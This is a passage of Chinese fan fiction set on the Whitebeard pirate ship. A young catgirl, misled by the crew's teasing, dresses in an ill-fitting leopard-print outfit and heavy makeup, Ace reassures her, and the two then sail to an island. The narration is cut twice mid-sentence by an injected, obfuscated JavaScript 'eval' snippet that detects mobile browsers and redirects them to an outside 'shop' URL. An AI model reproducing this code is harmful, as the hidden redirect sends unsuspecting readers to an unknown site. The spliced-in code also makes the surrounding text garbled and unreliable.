她猛地扭过头,脖子转动得甚至有些过快,黑色的微卷发丝甩到脸颊旁。她看向丢斯,看向那几个还在笑着回忆往事的船员,眼神里充满了难以置信的求证。原来……艾斯哥哥,喜欢……妖艳的……女忍者……么? 这个认知像一团混乱的毛线,瞬间塞满了她的脑袋。妖艳?那是什么意思?像人鱼咖啡馆的小姐姐们那样,漂亮,歌声甜美?还是像……像她完全无法具体想象的,某种更具攻击性、更成熟、更……不属于她这种类型的样子? 看到她这副仿佛被雷劈中、耳朵竖得笔直、眼睛瞪得溜圆的呆滞模样,丢斯和几个船员交换了一个心照不宣的、带着恶作剧意味的眼神。哎呀,好像不小心点了什么有趣的火花? 丢斯脸上那副惯常的、有点懒洋洋又带着点书生气的表情收了起来,换上了一副贼兮兮的、充满逗弄兴致的笑容。他故意用肩膀轻轻撞了撞还处于石化状态的小狸,压低了声音,用一种“我来告诉你秘密”的语气,拖长了调子说: “小狸嘛~~~”他的目光意有所指地上下扫了扫小狸纤细的、穿着短袖和背带裤的身形,以及那张即使震惊也难掩稚气和纯净的小脸,啧啧两声,“离‘妖艳’这个词嘛……咳咳,还差得有点远呢!加油啊,小丫头!哎哟——!” 他调侃的话还没说完,一只白皙却有力的手就精准地揪住了他的耳朵,毫不留情地拧了半圈。 “痛痛痛!米娅!松手!耳朵要掉了!”丢斯瞬间龇牙咧嘴,刚才那点恶作剧的得意消失得无影无踪,只剩下面具下扭曲的表情。 米娅不知何时走了过来,金色的波浪长发在阳光下熠熠生辉。她没好气地瞪了自家不靠谱的恋人一眼,又嗔怪地扫过旁边那几个憋着笑的帮凶,然后才松开手,转而温柔地摸了摸小狸有些发凉的头顶。 “小狸乖,别听他们几个臭男人放屁。”米娅的声音清脆又带着护犊子的霸气,“我们小狸最可爱了,对不对?呜,可爱死了,姐姐最喜欢小狸了!” 可爱……么? 小狸被米娅抱在怀里,下意识地眨了眨眼睛。她慢慢低下头,视线不由自主地落在米娅胸前——那里有着饱满而优美的、随着呼吸微微起伏的曲线,被合身的衣物勾勒得恰到好处。她再低头看看自己,瘦瘦小小,手腕细得好像一折就断,胸前更是一马平川…… 一种陌生的、细微的焦虑,像初春冰面下的暗流,开始在她心底悄无声息地涌动。至少……要像米娅姐姐那样,才能算……妖艳吧? --- 白胡子海贼团向来以其雄性的、如同钢铁与海浪撞击般的豪迈气息著称,女性战斗员在主船的数量少之又少,最为人熟知的,大概就是老爹那支专属的、风格极其鲜明的护理小队了。 姐姐们统一穿着剪裁贴身的粉色护士裙,裙摆下延伸出的,却是狂野不羁的黑色渔网袜与豹纹丝袜,两种极端的气质在她们身上奇妙地融合,形成一道独特而亮丽的风景线。她们性格泼辣大胆,处理伤口时却心细如发,是船上一股不可或缺的、柔软又强大的力量。 小狸因为跟着马尔科学习基础医术,时常在医务室帮忙,和这些护士姐姐们接触很多。姐姐们也很喜欢这只安静乖巧、让揉让抱、身上总是暖乎乎软绵绵、学习时眼神专注得惹人怜爱的小猫咪。她们会趁马尔科不注意,偷偷塞给她一些外面买不到的、包装精致的小糖果,或者用灵巧的手指帮她编个好看的发辫。 但最近,心思细腻的护士姐姐们发现,这只小猫咪看她们的目光……有点太奇怪了。 那不是往常那种单纯的、带着点好奇和亲近的注视,而是一种……怎么说呢,过于专注的、带着研究和衡量意味的打量。小狸会躲在药柜的阴影里,或者假装整理纱布,然后用那双清澈的蓝眼睛,偷偷地、长久地凝视着她们。 那目光并不含恶意,却直白得让见惯风浪的姐姐们都有些不自在。几次三番下来,她们聚在一起,忧心忡忡地讨论。 “小狸是不是到了青春期,开始在意形象了?”一个护士猜测,手指卷着自己染成酒红色的发梢。 “可能吧……但她看我们的眼神,不像羡慕,倒像……像在分析什么课题?”另一个护士苦笑,拉了拉自己粉色的裙摆。 “而且总躲着看,问她是不是有什么事,她又摇头跑掉,耳朵红红的。” “但是看的也太专注了些,看得我脸红心跳的”护士捧着脸 最终,她们把这份担忧反映给了马尔科。一番队队长兼船医大人听完描述,推了推眼镜,那双总是半睁着的眼睛里也闪过一丝困惑。他暗中观察了小狸几天,除了发现她学习时偶尔会走神,望着空气发呆,尾巴无意识地焦躁拍打地面之外,并未察觉任何生理或情绪上的异常。 “也许是来到新环境,有些微妙的适应期,或者女孩子独特的心思?”马尔科最后也只能略带无奈地给出这个结论,示意大家再多留心,但不必过度紧张,“只要她身体健康,情绪没有剧烈波动,就随她去吧,yoi。” 然而,姐姐们不知道的是,小狸那些“研究性”的目光背后,是一个简单又执拗的疑问句在不断盘旋:到底什么样,才算“妖艳”? 这个从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941763|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢斯他们玩笑中听来的词汇,像一颗被无意间种下的种子,在她缺乏相关认知的土壤里,吸收着所有道听途说的养分,扭曲地生长着。她观察护士姐姐们,是因为她们是船上她最容易接触到的基数相对大一些的女性群体。她们穿着特别,举止间带着一种她说不清道不明、但似乎与“可爱”截然不同的风情。 这是“妖艳”吗?小狸偷偷地想,指尖无意识地抠着裤子上的线头。 终于,在某个被阳光晒得甲板发烫、海风都带着慵懒气息的下午,小狸鼓起了一点点勇气,感觉自己有了一点概念又或者说是被那个问题折磨得够呛。她趁着艾斯被丢斯拖去仓库清点新补给的酒水,做贼似的,一步三回头地蹭到了正在前甲板阴凉处休息聊天的几位队长身边。 马尔科靠着一堆缆绳假寐,比斯塔在保养他的武器,萨奇和以藏正在下一种复杂的棋,乔兹安静地坐在一旁,像一座沉默的大山。 小狸捏着自己的尾巴尖,在原地踌躇了好一会儿,脚尖蹭着甲板,直到以藏抬起那双描绘着精致眼线的凤眼,似笑非笑地看向她:“小狸,有事?” 她像是被吓了一跳,尾巴“唰”地竖了起来,又强迫自己慢慢放下。深吸一口气,像是要赴汤蹈火,她抬起头,蓝色的猫瞳里盛满了纯粹的苦恼和求知欲,声音细细的,却足够清晰地问出了那个盘旋已久的问题: “到底……什么样才算‘妖艳’呀?” “……” 甲板上瞬间安静了几秒。 只有海浪拍打船舷的哗哗声,和远处海鸟的鸣叫。几位队长,连同看似在睡觉的马尔科,都齐齐将目光投向了她。 以藏捏着棋子的手顿在半空,漂亮的眉毛挑了起来。萨奇张着嘴,手里的零食都忘了塞进去。比斯塔保养刀的动作停了,捻着胡须,脸上露出一种奇特的、介于好笑和思索之间的表情。连乔兹都微微转动了他那颗钻石般的头颅。 这个问题来得太突然,太……出乎意料。从一个眼神干净得像山涧泉水、身形还带着少女稚气的小猫嘴里问出来,尤其有种荒诞又可爱的冲击感。 “妖艳?”比斯塔先开了口,他努力斟酌着词句,试图给这个抽象的概念一个相对准确的、适合小女孩理解的解释,“嗯……大概就是,美丽,成熟,充满魅力……带有一些……嗯,性感之类的感觉?” 他说得尽量含蓄,但“性感”这个词还是让其他几人眼神飘忽了一下。 小狸听得似懂非懂,但“美丽”、“成熟”、“魅力”这些词似乎与护士姐姐们给人的印象有所重叠。她想了想,又抛出一个更具体的问题,蓝色的眼睛一眨不眨,认真得像个在课堂上提问的学生: “那……护士姐姐们,算‘性感’么?” “噗——!” 萨奇终于忍不住,把嘴里那口零食喷了出来,剧烈地咳嗽起来。以藏以袖掩唇,肩膀可疑地抖动。比斯塔捻胡须的手差点扯掉几根。连马尔科都睁开了眼睛,镜片后的目光带着几分无奈和了然。 看着小狸那副纯粹求知、毫无杂念的认真眼神,几位身经百战、什么场面没见过的队长们,反而有点绷不住了。这问题太直球,直球到让人无法用往常那种敷衍或调侃的方式应对。但看着她一本正经的样子,某种恶作剧的、想看热闹的心思又悄悄冒了头。 萨奇好不容易止住咳嗽,抹了把嘴,脸上堆起那种“哥哥告诉你个秘密”的、意味深长的笑容,他凑近了一点,压低声音,故意用一种神秘兮兮的语气说: “小狸呀——”他拖长了调子,眼神瞟过远处正经过的一位护士姐姐那修长双腿上醒目的豹纹丝袜,“我跟你说,‘豹纹’……那可是很多男人的浪漫哦!懂了吗?” “哈哈哈哈!”旁边以藏终于笑出声,比斯塔也摸着胡子摇头失笑。他们当然知道萨奇在逗她,但看着小狸因为这句明显信息不全、指向模糊的话而陷入更深的思索,那双蓝眼睛里浮现出“原来如此,我好像明白了点什么”的恍然神色时,恶作剧成功的愉悦感便油然而生。 “对对对,”以藏也笑着添油加醋,“小狸现在还小,以后就懂啦!哈哈哈哈!” “所以……”小狸喃喃自语,尾巴尖轻轻点了点,“男人都喜欢……性感的……豹纹……” 她把萨奇那句没头没尾的话和自己之前的观察强行联系了起来,形成了一个虽然依旧模糊、但似乎有了具体象征的结论。 她似懂非懂地点了点头,虽然几位队长看着她那“懂了”的表情,就知道她八成理解到了奇怪的方向去,但……谁在乎呢?想到可能因此引发的、有趣又无害的小小混乱,几个人互相交换了一个心照不宣的眼神,不厚道地笑了起来,内心已经开始期待起不久后可能上演的“好戏”了。 嗯,豹纹,男人的浪漫。这个认知,像一颗被误植的种子,牢牢地扎进了小狸单纯的思维里。 37. 喜欢的是现在的你 下了决心的小狸,行动力有时候超乎想象。 她像是要完成一项重大而隐秘的使命,接下来的几天,变得更加“鬼鬼祟祟”。她不再远远打量护士姐姐们,而是开始寻找机会,更加近距离地观察。 每一个细节都被她默默记在心里,与那个模糊的“妖艳=性感=豹纹=男人的浪漫”公式进行比对和验证。 终于,她攒够了观察样本,也鼓足了勇气。在一个艾斯暂时无暇他顾的上午,她扭扭捏捏地蹭到了护士站门外。粉色的门虚掩着,里面传来姐姐们轻快的谈笑声和药瓶碰撞的清脆声响。 小狸在门口做了好几次深呼吸,尾巴紧张地卷成了螺旋状,耳朵也耷拉着贴在头发上。最后,她心一横,伸出微微颤抖的手指,轻轻敲了敲门。 谈笑声停了。门被拉开,一位戴着护士帽、唇色鲜红的姐姐探出头,看到是她,脸上立刻绽开笑容:“是小狸呀?快进来,怎么了?哪里不舒服吗?” 她自然而然地想去摸小狸的额头。 “不、不是的……”小狸连忙摇头,后退了小半步,脸颊开始发烫。她低下头,盯着自己的鞋尖,声音细若蚊蚋,几乎要淹没在走廊的风里,“我……我想……请姐姐们……帮帮我……” “帮你?”护士姐姐疑惑地歪头。 小狸深吸一口气,像是用尽了全身的力气,抬起头,蓝色的眼睛里闪烁着羞赧、恳求,还有一股破釜沉舟般的决心:“我想……改变一下……变得……成熟……性、性感一点……” “……” 护士姐姐愣住了,随即,她回头和房间里的其他几位姐妹交换了一个眼神。瞬间,所有人都明白了——原来这段时间小猫那些奇怪的目光,是在“取经”啊! 短暂的惊讶过后,姐姐们脸上都露出了然又觉得可爱的笑容。原来如此!小女孩到了爱美的年纪,开始对“成熟”、“性感”这些充满女性魅力的词汇产生好奇和向往,这是再正常不过的事情了!她们年轻时,不也有过偷偷化妆,穿高跟鞋模仿成熟女性打扮的阶段吗? “哎呀,原来我们小狸是想变得更漂亮呀!”开门的护士姐姐顿时笑靥如花,一把将小狸拉进房间,“早说嘛!这有什么不好意思的!” “想改变形象是好事!姐姐们帮你!”其他护士也围了过来,七嘴八舌,热情洋溢。她们完全把小狸的请求理解成了一种小女孩对“变装游戏”的好奇和尝试,一种想要体验不同风格的新鲜感。 “来,姐姐的化妆品随便你用!都是好牌子哦!” “还有衣服!看看喜欢哪件?这件蕾丝的怎么样?还是这件亮片的?” “高跟鞋要不要试试?刚开始穿可能不习惯,走慢点哦!” 她们翻箱倒柜,把自己珍藏的、平时在船上难得有机会用的化妆品、各种风格(多半是偏向成熟性感风)的衣裙、甚至几双款式时髦的高跟鞋都摆了出来,像布置一个梦幻的舞台。为了给小狸充足的“探索”空间,让她玩得尽兴,姐姐们还体贴地借口要去清点一批新到的医疗物资,把整个房间留给了她。 “小狸,慢慢玩,想试什么就试什么,不用客气哦!”临走前,姐姐们笑着叮嘱,并轻轻带上了门。 “咔嚓。” 门关上了。房间里瞬间安静下来,只剩下小狸一个人,面对着一床一桌的“成熟武器”。 她站在房间中央,看着那些琳琅满目的、对她而言完全陌生的物品,先前那股破釜沉舟的勇气像退潮般迅速消散,取而代之的是一种茫然的无措和隐隐的心虚。 真的要……这么做吗? 脑海里闪过可能的“妖艳的女忍者”,又闪过丢斯他们说“小狸还差得远”时调侃的表情,还有萨奇那句神秘的“豹纹是男人的浪漫”…… 要的。心底有个小小的声音在说。至少……要试试看。 充满斗志的火焰燃烧,她走到堆满化妆品的小桌前。那些五颜六色的粉盒、膏体、笔刷,在她眼里如同复杂的化学仪器。她凭着记忆里观察到的模糊印象,笨拙地拿起一支颜色最鲜艳的口红,拧开,对着桌上的一面小镜子,小心翼翼地在嘴唇上涂抹。眼影盘选了最闪亮的金色和最深沉的紫色,左右开弓抹在眼皮上,她记得姐姐们都很喜欢这个。然后是什么来着……?明明看了好几天,但是真的自己动手就什么都不记得了,管他呢,先试试这个。 然后是衣服。她的目光扫过那堆衣裙,最终落在一件最为醒目、也最符合她此刻“理论认知”的衣物上——一件底色漆黑、上面印满了张扬金色豹纹的紧身短裙。她费力地套上,裙子对她来说太大了,领口松垮地滑到肩膀,裙摆却又因为不合身而奇怪地翘起。最后是那双高跟鞋,细长的鞋跟像踩高跷,她扶着墙勉强站稳,一步迈出,身体剧烈地摇晃,差点直接扑倒。 应该,就是这样吧?小狸觉得自己已经把这段时间的学习成果都用上了,她还是蛮有自信的,马尔科先生也说她学东西很快 箭在弦上,她深吸一口气,扶住墙壁,努力稳住因为高跟鞋而颤抖的双腿,一步一挪,像只初次学步的笨拙幼兽,艰难地、慢慢地,挪向了房门。 当那扇粉色的门被从里面缓缓推开一条缝,然后,一个少女顶着夸张妆容、穿着极不合身豹纹裙、踩着歪歪扭扭高跟鞋的身影,以一种近乎同手同脚的僵硬姿态,别扭地“蹭”出来,整个人像偷穿了大人衣服、还被打翻颜料盘糊了一脸的小孩,稚气未脱的眉眼与这身刻意成熟的打扮形成惨烈的对比,只剩下滑稽…… 时间,仿佛被按下了暂停键。 原本在附近甲板忙碌或休息的船员们,无论是正在擦拭甲板的,还是在整理缆绳的,抑或是单纯躺着晒太阳的,动作全都凝固了。所有的声音——谈笑声,工具碰撞声,甚至风声和海浪声——都在那一瞬间,极其诡异地消失了。 整个前甲板区域,陷入了一片真空般的死寂。 每个人都瞪大了眼睛,张大了嘴巴,目光死死地锁定在那个从护士站“诞生”出来的、难以用语言形容的“生物”身上。 一秒。 两秒。 “噗——!!!” 不知是谁先憋不住,那口气像是高压锅放气,带着扭曲的笑意冲破了喉咙。 紧接着—— “哈哈哈哈哈哈哈哈哈哈——!!!” 惊天动地的爆笑声如同海啸般瞬间席卷了整片甲板!笑声之猛烈,几乎要掀翻莫比迪克号的帆布,惊起方圆数海里的所有海鸟! “我的天!小狸!你、你这是什么新造型?!”一个船员笑得直捶地板,眼泪都飙了出来,“是准备去香波地群岛参加今年的‘最佳喜剧模仿秀’吗?!冠军非你莫属啊哈哈哈!” “豹、豹纹!还是金色的!萨奇队长!快看!你的‘浪漫’出现了!哈哈哈!”有人指着小狸的裙子,笑得喘不上气。 “等等!先看脸!鼻子!鼻子两边为什么是紫色的?!眼睛上面那两坨金色是什么?!新型海怪妆容吗?!哈哈哈!” “鞋子!看那双鞋!小狸你是不是踩高跷呢?!别摔着!哈哈哈!” 笑声一浪高过一浪,充满了毫不掩饰的欢乐和善意的调侃。小狸站在原地反应了一会,脸上的厚粉底都遮不住迅速蔓延开的、滚烫的羞红色。耳朵紧紧贴着脑袋,恨不得缩进头发里消失,尾巴则死死缠住自己的小腿,尾尖因为极度的窘迫而剧烈颤抖。她看着周围笑得前仰后合、东倒西歪的大家,后知后觉的意识到,自己好像失败了 就在这时,人群外围传来熟悉的、带着运动后微喘的询问声:“怎么了?发生什么事了?怎么笑得这么……” 艾斯拨开笑得直不起腰的几个人,挤了进来。他刚结束一轮体能锻炼,黑色的短发被汗水浸湿,几缕贴在饱满的额角,脸上还带着运动后的红晕和惯常的爽朗神情。然后,他的目光落在了风暴中心的小狸身上。 “……” 艾斯脸上的笑容,像是被瞬间冻结,然后出现了极其细微的裂痕。他眨了眨眼,又眨了眨眼,似乎是在确认自己看到的是不是幻觉。那夸张的妆容,那不合身到滑稽的豹纹裙,那让她看起来像在表演踩高跷的高跟鞋……这一切组合在一起,冲击力实在太过强大。 他愣住了。是真的愣住了好几秒。随即,一种复杂的情绪涌上心头——先是难以置信的错愕,然后是看到这惨烈“成果”时本能的笑意,但笑意还未完全展开,就被她小猫混合着羞愤和委屈的傻乎乎的表情打断,化作了一声无奈又柔软到极致的叹息。 他抬起手,揉了揉自己有些发胀的额角,眼底却漾开了一层藏不住的、如同阳光穿透海面般的温柔笑意。他冲着周围还在哄笑、起哄的人群挥了挥拳头,笑骂道:“喂!差不多行了!有什么好笑的!” 然后,在所有船员“哦~~~”“有人心疼了~”“护短了护短了!”的暧昧起哄声中,他甚至带着点习惯成自然的从容般,走到了僵成一座彩色雕塑的小狸面前。 小狸本着做都做了,还是想再努力一下,学着记忆里的样子闭上一只眼睛,努了努嘴。还没等说话就被一张手帕糊了脸 艾斯在她面前蹲下,视线与她勉强齐平。他没说什么,只是用自己随身携带的、那个自从有了“需要随时照顾一只可能弄脏自己的小猫”的打湿了的棉布手帕,一点一点擦掉她脸上那些混乱的、已经有些糊掉的色彩。 先是晕染到脸颊的口红,然后是那两坨惊悚的金色眼影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941764|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接着是糊成一团的紫色眼线和过于厚重的粉底……。 整个过程中,甲板上的哄笑声渐渐低了下去,变成了带着笑意的窃窃私语和看好戏的“哦~”“啊~”声。阳光洒在两人身上,艾斯蹲着的背影显得宽阔而可靠,小狸则像只做错了事、被当场抓获的可怜小猫,低着头任由他清理。 “笨蛋……”艾斯的声音很低,带着运动后的微哑,还有浓浓的笑意,那笑意不是嘲笑,而是一种满载着宠溺和“真拿你没办法”的温柔。湿凉的手帕擦过她的鼻尖,带走最后一点紫色的痕迹。 “……可是,”小狸终于忍不住了,带着浓重鼻音的、细小又委屈的声音从几乎要埋进胸口的脑袋下传出来,闷闷的,“可是大家说……丢斯说……哥哥喜欢……性感漂亮的……大姐姐……像小玉那样……妖艳的女忍者……” 她的声音越说越小,最后几个字几乎含在嘴里,但艾斯听清楚了。 他擦拭的动作几不可查地停顿了一瞬。脑海里瞬间串联起了前因后果——丢斯那家伙的玩笑,船员们起哄的回忆,小狸这些天奇怪的举动,萨奇他们可能添油加醋的“教导”……一切都有了答案。 “……” 艾斯不知道该怎么解释所谓的妖艳的女忍者现在大概只有六岁,闭了闭眼,几乎能想象出丢斯那张此刻可能躲在某个角落、因为恶作剧成功而笑得贼兮兮的脸,以及萨奇他们看热闹不嫌事大的表情。这群唯恐天下不乱的家伙! 他无奈地叹了口气,那叹息声里却没什么真正的怒气,更多的是一种对自家妹妹单纯心思的怜爱,和对朋友们搞事能力的了然。 擦干净最后一点妆容,小狸的脸终于恢复了原本的白皙清透,只是眼圈和鼻头还因为刚才的委屈和擦拭而微微泛红,像只被欺负了的小兔子,反而更显出一种不设防的纯净。艾斯收起手帕,双手捧住她还有些发烫的小脸,强迫她抬起头,看着自己的眼睛。 他的手掌温热,带着常年锻炼留下的薄茧,但力度很轻,像捧着易碎的琉璃。他的眼神很认真,黑色的瞳孔里清晰地映出她泛红的脸颊和湿漉漉的、盛满了不安的蓝眼睛。海风吹过,拂动他额前汗湿的碎发,也吹散了他声音里最后一丝笑意,只剩下纯粹的、不容置疑的认真: “我喜欢的,” 他顿了顿,一字一句,清晰而缓慢,确保每个字都重重地落在她心上,驱散所有因误解而生的迷雾和阴霾, “就是现在这个样子的你。” 他的拇指轻轻拂过她还有些湿润的眼角,带走那里将落未落的一滴泪珠。 “什么样的你,都是你。”他的声音温柔得像此刻拂过甲板的、带着阳光温度的海风,“这样就最好。不需要改变,小狸。” …… 周围的起哄声,在艾斯说出这番话的瞬间,诡异地安静了一瞬,随即爆发出更加热烈、更加暧昧的“哦~~~~~~!!!”声,此起彼伏,还夹杂着口哨和拍手声。 “艾斯队长!说得好啊!” “就是!小狸本来就很可爱!” “不接受反驳!哈哈哈!” 小狸的脸,在艾斯认真的注视和周围毫不掩饰的起哄声中,“轰”地一下,彻底红透了,比刚才因为羞愤而泛红的样子更甚,几乎要滴出血来。后知后觉的巨大羞耻感如同海啸般再次将她淹没,这次还夹杂着一种……心跳失序的慌乱和一丝莫名的甜意。 “我、我……”她语无伦次,尾巴因为极度羞赧而炸开了毛,像个蓬松的黑色鸡毛掸子。她猛地从艾斯手里挣脱出来,蓝色的猫瞳躲闪着不敢看任何人,尤其是艾斯。 一怒之下……怒了一下。 最后,她只能冲周围那些笑得见牙不见眼的家伙们,没什么威力地、自暴自弃般地“哈!”了一口气,又飞快地吐了吐舌头,然后像只被踩了尾巴的猫,转身,也顾不上别扭的高跟鞋了,光着脚落荒而逃,“哒哒哒”地跑开了,把身后那片充满了笑声和暧昧目光的甲板,远远地甩在了身后。 阳光依旧明媚,海风依旧温柔。莫比迪克号承载着欢笑与温情,继续航行在无垠的蔚蓝之上。而某个仓皇逃窜的小小身影心里,那个关于“妖艳”的困惑,似乎并没有完全解开,但却被另一份更坚定、更温暖的认知所覆盖和安抚了。 艾斯站在原地,看着那个跑远的、踉踉跄跄的背影,直到她消失在船舱走廊的拐角,才收回目光。他脸上没什么特别的表情,只是抬手,随意地擦了擦额头上未干的汗水,然后转向还在笑着的众人,特别是朝着丢斯可能藏身的方向,挥了挥拳头,笑骂道: “你们这群家伙……给我等着。” 语气里,是毫无威胁力的、带着笑意的无奈。 38. 福德维天岛 晨光熹微,小狸起得比平日任何一天都要早。她几乎是在第一缕天光透进窗户的瞬间就睁开了眼睛,没有半分睡意。 她把从马尔科那里帮忙拿到的零钱放进包里,又对着房间里那块不算清晰的镜子,仔细地将睡得有些凌乱的黑色微卷发理顺,晃着尾巴向门外走去 厨房里已经飘出早餐的香气。马尔科正靠在料理台边,手里拿着一张写得密密麻麻的清单,一边打着哈欠,一边用他那特有的、带着慵懒尾音的声线,对刚刚走进来的小狸进行“行前教育”。 “呀嘞呀嘞,起得真早啊,yoi。”马尔科推了推眼镜,将清单递给她,“喏,这是需要买的东西。有些药材和特制的绷带,岛上只有‘老亨利的杂货铺’有卖,那老头脾气古怪,东西也紧俏,记得早点去,可能需要排队。” 小狸接过清单,认真地看。上面除了医疗用品,还有一些日常补给和特产的名称。马尔科的手指在几个条目上点了点:“这几个,是给老爹调理身体用的药草,一定要确认年份和品相,别被糊弄了。还有这个——”他的手指移到清单最下方,用红笔特别圈出来的几行,“这些,不管摊主说得多么天花乱坠,价格多么便宜,绝对不要买。一定是假货,记住没?” 小狸用力点头,蓝色的眼睛睁得大大的,努力将马尔科的每一句叮嘱都刻进脑子里。 “最后,也是最重要的,”马尔科弯下腰,镜片后的目光变得格外严肃,甚至带着点“任务艰巨”的意味,“看住艾斯。” “福德维天岛是老爹的管辖地,没有人不认识他那张脸。”马尔科叹了口气,揉了揉眉心,仿佛已经预见了某些令人头痛的场景,“那小子要是真的……嗯,‘忘记’带钱,岛上那些商贩多半也不会真的追着他要,可能就摸摸鼻子自认倒霉了。所以,小狸,你的任务就是,紧紧跟着他,提醒他付钱,绝对不要让他给大家添麻烦,明白吗,yoi。” 小狸看着马尔科郑重的眼神,再次认真地点了点头“我明白了,马尔科先生!我会看好艾斯哥哥的!” 就在这时,艾斯活力十足的声音从门口传来:“小狸!准备好了吗?出发咯!” 小狸最后看了一眼清单,小心地把它折好,塞进小包内侧的夹层,然后转身,欢快的朝艾斯跑去。 --- 火焰小艇在海面上划出轨迹,破开蔚蓝的海水,向着远处已经显出轮廓的岛屿驶去。小狸双手紧紧抓住小艇边缘,海风迎面吹来,带着咸湿的气息,将她额前的发丝和裙摆都吹得向后飞扬。 就在小艇即将离开莫比迪克号一定距离时,小狸敏感的耳朵忽然捕捉到身后传来一阵……与往常清晨宁静氛围不太协调的声响。 那是一种压抑着的、却又带着明显忙碌节奏的喧闹。她甚至隐约听到了萨奇队长那把标志性的大嗓门,虽然听不清具体内容,但语气听起来像是在指挥着什么,有点急,又有点……兴奋? 小狸的耳朵下意识地转向声音来源,好奇心像只小爪子,轻轻挠了挠她的心。这两天她确实有意无意地避开了萨奇他们几个。倒不是真的在生气——那天豹纹裙的乌龙事件后,羞愤感远远大过了恼怒。只是,一看到萨奇那张带着戏谑笑容的脸,或者听到他说话,自己在众目睽睽下丢尽脸面的记忆就会不受控制地跳出来,让她瞬间脸颊发烫,恨不得原地消失。所以,她选择了暂时“冷却”处理,路过厨房或他们常聚的地方时,会下意识地绕开,或者加快脚步。 萨奇为此似乎颇受打击,好几次远远看到她,脸上都露出一副“天要塌了”“我可爱的小狸妹妹不理我了”的夸张表情,但小狸都硬着心肠假装没看见。 此刻听到后面不同寻常的动静,她心里的那点好奇终究压过了羞赧。“哥哥,后面好像……”她微微侧身,想回头去看个究竟。 艾斯猛的一惊,随即猛地加速。他几乎能想象出此刻莫比迪克号甲板上是怎样一幅鸡飞狗跳、争分夺秒布置“惊喜”的场景。绝对!不能让她现在回头! 电光石火间,他手臂极其自然的揽住小狸的肩膀,同时也巧妙地挡住了她回头的视线。“坐稳了!”他的声音刻意拔高了几分,“我们要加速了!抓紧哦!” 话音未落,脚下火焰小艇的尾部“轰”地一声,喷吐出更加炽烈耀眼的火焰,推动着小艇如同离弦之箭般猛地向前蹿去!突如其来的强烈推背感和速度激增带来的呼啸风声,瞬间攫取了小狸的全部注意力。她低低惊呼一声,下意识地更紧地抓住了边缘,身体微微后仰,靠在了艾斯温暖坚实的胸膛上,哪里还顾得上去探究身后的声响。 成功转移了小猫的注意力!艾斯在心里悄悄松了口气,嘴角勾起一抹得逞的、轻松的笑意。 --- 福德维天岛的轮廓在视野中越来越清晰。那是一座绿意盎然的岛屿,港口停泊着各式各样的船只,从远处就能感受到一股繁荣热闹的气息。 “福德维天岛是什么地方?”小狸望着越来越近的码头和建筑,好奇地问。海风将她的话吹得有些散,但艾斯听得很清楚。 “是老爹的管辖地之一,”艾斯回答道,声音里带着一丝理所当然的自豪,“就像鱼人岛那样。在这里,挂着老爹的旗帜,就意味着和平与秩序。很多商人愿意来这里做生意,因为安全,所以特别热闹。”他顿了顿,想起什么,补充道,“说起来,这里好吃的东西也特别多哦!各种新奇的海产和特产点心。小狸还没去过鱼人岛吧?以后有机会,我们也一起去看看,那里是完全不同的、海底的景色,很美。” “鱼人岛?”小狸重复着这个名字,脑海里几乎是不假思索地、条件反射般地跳出了之前听到的对话片段—— “去人鱼咖啡馆嘛?”她没过脑子,几乎是脱口而出,声音里还带着点她自己都没察觉的、微妙的好奇和一点点……试探?“有漂亮的人鱼姐姐。” “……” 艾斯揽着她肩膀的手臂几不可查地僵了一下。他低头,只能看到她被风吹拂的黑发顶和那对微微抖动的、泄露主人心思的猫耳尖。无奈的感觉再次像潮水般漫上心头。丢斯!萨奇!还有那群看热闹不嫌事大的家伙!趁他不在的时候,到底都给这只单纯的小猫灌输了些什么乱七八糟的“常识”啊! “也……不全是那样。”他有些艰难地试图解释,声音里带着点哭笑不得,“鱼人岛是很美的地方,有很独特的文化和风景,人鱼和鱼人们也很友善……” “丢斯还说,”小狸像是打开了某个记忆的匣子,继续“告状”,“哥哥买了好多的仙贝,他吃了好久……” “仙贝确实很好吃……”艾斯下意识地接口,随即猛然意识到不对,立刻改口,声音都提高了半度,“不对!这不是重点!丢斯那家伙到底都跟你说了些什么啊!!” 看着小狸仰起脸,那双清澈的蓝眼睛里映出他有些抓狂又无奈的表情,她的脸上却带着点恶作剧得逞般的、浅浅的笑意,艾斯忽然觉得,解释似乎也没那么重要了。他伸手,不轻不重地揉乱了她的头发,换来小猫一声不满的、拖长了音的“喵呜”抗议。 火焰小艇缓缓靠岸。码头上人来人往,喧嚣鼎沸,各种叫卖声、交谈声、船只汽笛声混杂在一起,充满了鲜活的生命力。如同艾斯所说,岛上许多显眼的地方,包括最高的钟楼和主要街道的旗杆上,都悬挂着白胡子海贼团那面标志性的、带着月牙胡子的骷髅旗帜,在海风中猎猎作响,行人和商贩,脸上大多带着安然的神色。 踏上坚实的土地,小狸紧紧跟在艾斯身边,一只手还下意识地揪着他腰侧的一点衣料,既是对陌生环境的下意识依赖,也是在认真履行马尔科交代的“看住他”的任务。艾斯也放慢了脚步,迁就着她的节奏。 岛上果然热闹非凡。道路两旁店铺林立,摊贩的吆喝声此起彼伏,扛着蔬菜筐的妇女步履匆匆,提着鱼篓的渔民大声交谈,还有一群孩童尖叫笑闹着从他们身边追逐跑过,带起一阵欢快的风。在新世界这片以危险和混乱著称的海域,这里确实像是一片难得的、充满生活气息的祥和乐土。 